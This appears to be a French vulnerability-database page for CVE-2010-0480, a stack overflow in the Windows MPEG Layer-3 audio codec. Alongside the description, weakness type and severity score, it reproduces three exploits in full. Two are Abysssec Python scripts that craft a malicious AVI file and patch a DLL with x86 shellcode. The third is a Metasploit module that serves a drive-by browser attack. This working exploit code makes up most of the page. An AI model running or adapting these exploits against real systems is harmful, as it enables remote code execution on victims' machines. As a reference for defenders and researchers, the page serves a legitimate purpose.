CVE-2010-0480 : Détail

CVE-2010-0480

Overflow
81.75%V4
Network
2010-04-14
13h44 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Multiple stack-based buffer overflows in the MPEG Layer-3 audio codecs in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP2, Vista Gold, SP1, and SP2, and Server 2008 Gold and SP2 allow remote attackers to execute arbitrary code via a crafted AVI file, aka "MPEG Layer-3 Audio Decoder Stack Overflow Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 15096

Date de publication : 2010-09-23 22h00 +00:00
Auteur : Abysssec
EDB Vérifié : Yes

''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ http://www.exploit-db.com/moaub-24-microsoft-mpeg-layer-3-audio-decoder-division-by-zero/ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15096.zip (moaub-24-mp3-exploit.zip) ''' ''' Title : Microsoft MPEG Layer-3 Audio Decoder Division By Zero Version : l3codeca.acm 1-9-0-306 (XP SP2 ñ XP SP3) Analysis : http://www.abysssec.com Vendor : http://www.microsoft.com Impact : Med/High Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec MOAUB Number : MOAUB-02 ''' import sys import struct def main(): try: fdR = open('src.avi', 'rb+') strTotal = fdR.read() str1 = strTotal[:4428] nSamplesPerSecField = '\x00\xff\xff\xff' str2 = strTotal[4432:] fdW= open('poc.avi', 'wb+') fdW.write(str1) fdW.write(nSamplesPerSecField) fdW.write(str2) fdW.close() fdR.close() print '[-] AVI file generated' except IOError: print '[*] Error : An IO error has occurred' print '[-] Exiting ...' sys.exit(-1) if __name__ == '__main__': main()
Exploit Database EDB-ID : 14895

Date de publication : 2010-09-04 22h00 +00:00
Auteur : Abysssec
EDB Vérifié : Yes

''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < Day 5 (Binary Analysis) | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14895.zip (moaub-5-exploit.zip) ''' ''' Title : Microsoft MPEG Layer-3 Remote Command Execution Exploit Version : l3codeca.acm (XP SP2 / XP SP3) Analysis : http://www.abysssec.com Vendor : http://www.microsoft.com Impact : Ciritical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec CVE : CVE-2010-0480 ''' import sys import struct def main(): try: strHTML = ''' <html> <head> </head> <body> <object classID="exploit.dll#exploit.Shellcode"></object> <OBJECT ID="MediaPlayer" CLASSID="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95" CODEBASE="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab# Version=5,1,52,701" STANDBY="Loading Microsoft Windows Media Player components..." TYPE="application/x-oleobject" width="280" height="46"> <param name="fileName" value="test.avi"> <param name="animationatStart" value="true"> <param name="transparentatStart" value="true"> <param name="autoStart" value="true"> <param name="showControls" value="true"> <param name="Volume" value="-300"> <embed type="application/x-mplayer2" pluginspage="http://www.microsoft.com/Windows/MediaPlayer/" src="test.avi" name="MediaPlayer" width=280 height=46 autostart=1 showcontrols=1 volume=-300> </embed> </OBJECT> </body> </html> ''' fHTML = open('index.html', 'w') fHTML.write(strHTML) fHTML.close() fdR = open('exploit.dll', 'rb+') strTotal = fdR.read() str1 = strTotal[:1380] str2 = strTotal[2115:] shellcode = '\xEB\x6B\x5A\x31\xC9\x6A\x10\x52\x42\x52\x51\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xFF\xD6\x6A\x00\xFF\xD0\xFF\xD7\x50\x68\xA8\xA2\x4D\xBC\xFF\xD6\xE8\xDA\xFF\xFF\xFF\x00\x54\x68\x65\x20\x65\x78\x70\x6C\x6F\x69\x74\x20\x77\x61\x73\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21\x00\x5E\x6A\x30\x59\x64\x8B\x19\x8B\x5B\x0C\x8B\x5B\x1C\x8B\x1B\x8B\x5B\x08\x53\x68\x8E\x4E\x0E\xEC\xFF\xD6\x89\xC7\xE8\xB3\xFF\xFF\xFF\x55\x53\x45\x52\x33\x32\x00\xE8\xD3\xFF\xFF\xFF\x53\x55\x56\x57\x8B\x6C\x24\x18\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x32\x49\x8B\x34\x8B\x01\xEE\x31\xFF\xFC\x31\xC0\xAC\x38\xE0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF2\x3B\x7C\x24\x14\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\xEB\x02\x31\xC0\x5F\x5E\x5D\x5B\xC2\x08\x00' if len(shellcode) > 735: print "[*] Error : Shellcode length is long" return if len(shellcode) <= 735: dif = 735 - len(shellcode) while dif > 0 : shellcode += '\x90' dif = dif - 1 fdW= open('exploit.dll', 'wb+') fdW.write(str1) fdW.write(shellcode) fdW.write(str2) fdW.close() fdR.close() print '[-] Html file generated' except IOError: print '[*] Error : An IO error has occurred' print '[-] Exiting ...' sys.exit(-1) if __name__ == '__main__': main()
Exploit Database EDB-ID : 17659

Date de publication : 2011-08-12 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: ms10_026_avi_nsamplespersec.rb 13555 2011-08-13 02:15:05Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow', 'Description' => %q{ This module exploits a buffer overlow in l3codecx.ax while processing a AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite with 0's so the three least significant bytes of EIP saved on stack are overwritten and shellcode is mapped using the .NET DLL memory technique pioneered by Alexander Sotirov and Mark Dowd. Please note on IE 8 targets, your malicious URL must be a trusted site in order to load the .Net control. }, 'Author' => [ 'Yamata Li', # Vulnerability Discovery 'Shahin Ramezany <shahin[at]abysssec.com', # Vulnerability Analysis and Exploit 'juan vazquez', # Metasploit module 'Jordi Sanchez <jsanchez[at]0x01000000.org>', # Metasploit module - Help ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 13555 $', 'References' => [ ['CVE', '2010-0480'], ['OSVDB', '63749'], ['BID', '39303'], ['MSB', 'MS10-026'], ['URL', 'http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/'], ['URL', 'http://www.phreedom.org/research/bypassing-browser-memory-protections/'] ], 'Payload' => { 'Space' => 4000 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', }, 'Targets' => [ # Target 0: Automatic # Tested with: # Windows XP SP3 English IE 6 # Windows XP SP3 English IE 7 # Windows XP SP3 English IE 8: The exploiting site must be a trusted # site to load the .NET control # .NET CLR required [ 'Windows XP SP3 Automatic', { 'Platform' => 'win', 'Ret' => 0x72000000 }, ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 13 2010')) end def exploit # Embed our payload in a .Net binary ibase = target.ret - 0x10000 shellcode = rand_text_alpha(target.ret - ibase - 0x2285) shellcode << payload.encoded #Use our own custom .Net binary, because we require a much bigger file #to land our payload at the right place opts = { :template => 'template_dotnetmem.dll', :text_offset => 0x1285, :text_max => 0x20000, :pack => 'a131072', :uuid_offset => 135816 } @dotnet_payload = Msf::Util::EXE.to_dotnetmem(ibase, shellcode, opts) # Load our AVI file path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0480.avi") f = File.open(path, "rb") @trigger = f.read(f.stat.size) f.close super end def on_request_uri(cli, request) agent = request['User-Agent'] case request['User-Agent'] when /MSIE.*Windows NT 5\.1.*\.NET CLR .*/ when /Windows-Media-Player/ # AVI is requested by WMP else send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} - target not supported: #{agent}") return end if (request.uri =~ /\.html/i) avi_name = rand_text_alpha(4) avi_trigger = "" if ("/" == get_resource[-1,1]) avi_trigger = get_resource[0, get_resource.length - 1] else avi_trigger = get_resource end avi_trigger << "/#{avi_name}.avi" html = %Q|<html> <body> <OBJECT ID="MediaPlayer" CLASSID="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95" CODEBASE="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab# Version=5,1,52,701" STANDBY="Loading Microsoft Windows Media Player components..." TYPE="application/x-oleobject" width="280" height="46"> <param name="fileName" value="#{avi_trigger}"> <param name="animationatStart" value="true"> <param name="transparentatStart" value="true"> <param name="autoStart" value="true"> <param name="showControls" value="true"> <param name="Volume" value="-300"> <embed type="application/x-mplayer2" pluginspage="http://www.microsoft.com/Windows/MediaPlayer/" src="#{avi_trigger}" name="MediaPlayer" width=280 height=46 autostart=1 showcontrols=1 volume=-300> </embed> </OBJECT> </body> </html> | html = html.gsub(/^\t\t\t/, '') print_status("Sending trigger loader to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, html) elsif (request.uri =~ /\.avi$/i) print_status "Sending AVI trigger to #{cli.peerhost}:#{cli.peerport} ..." send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' }) return elsif (request.uri =~ /\.dll$/i) print_status "Sending DLL file to #{cli.peerhost}:#{cli.peerport} ..." send_response( cli, @dotnet_payload, { 'Content-Type' => 'application/x-msdownload', 'Connection' => 'close', 'Pragma' => 'no-cache' } ) return end html_name = rand_text_alpha(4) dll_uri = "" html_trigger = "" if ("/" == get_resource[-1,1]) dll_uri = get_resource[0, get_resource.length - 1] html_trigger = get_resource[0, get_resource.length - 1] else dll_uri = get_resource html_trigger = get_resource end dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll" js_net_dll = "<object classid=\"#{dll_uri}\"#GenericControl\"><object>" html_trigger << "/#{html_name}.html" html = %Q|<html> <head> <script language="javascript"> function forward() { window.location = window.location + '#{html_trigger}'; } function start() { setTimeout("forward()", 2000); } </script> </head> <body onload="start()"> <object classid="#{dll_uri}#GenericControl"> <object> </body> </html> | html = html.gsub(/^\t\t/, '') print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, html) end end

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Configuraton 0

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_server_2003 >> Version *

Configuraton 0

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Configuraton 0

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Références

http://securityreason.com/securityalert/8336
Tags : third-party-advisory, x_refsource_SREASON
http://www.us-cert.gov/cas/techalerts/TA10-103A.html
Tags : third-party-advisory, x_refsource_CERT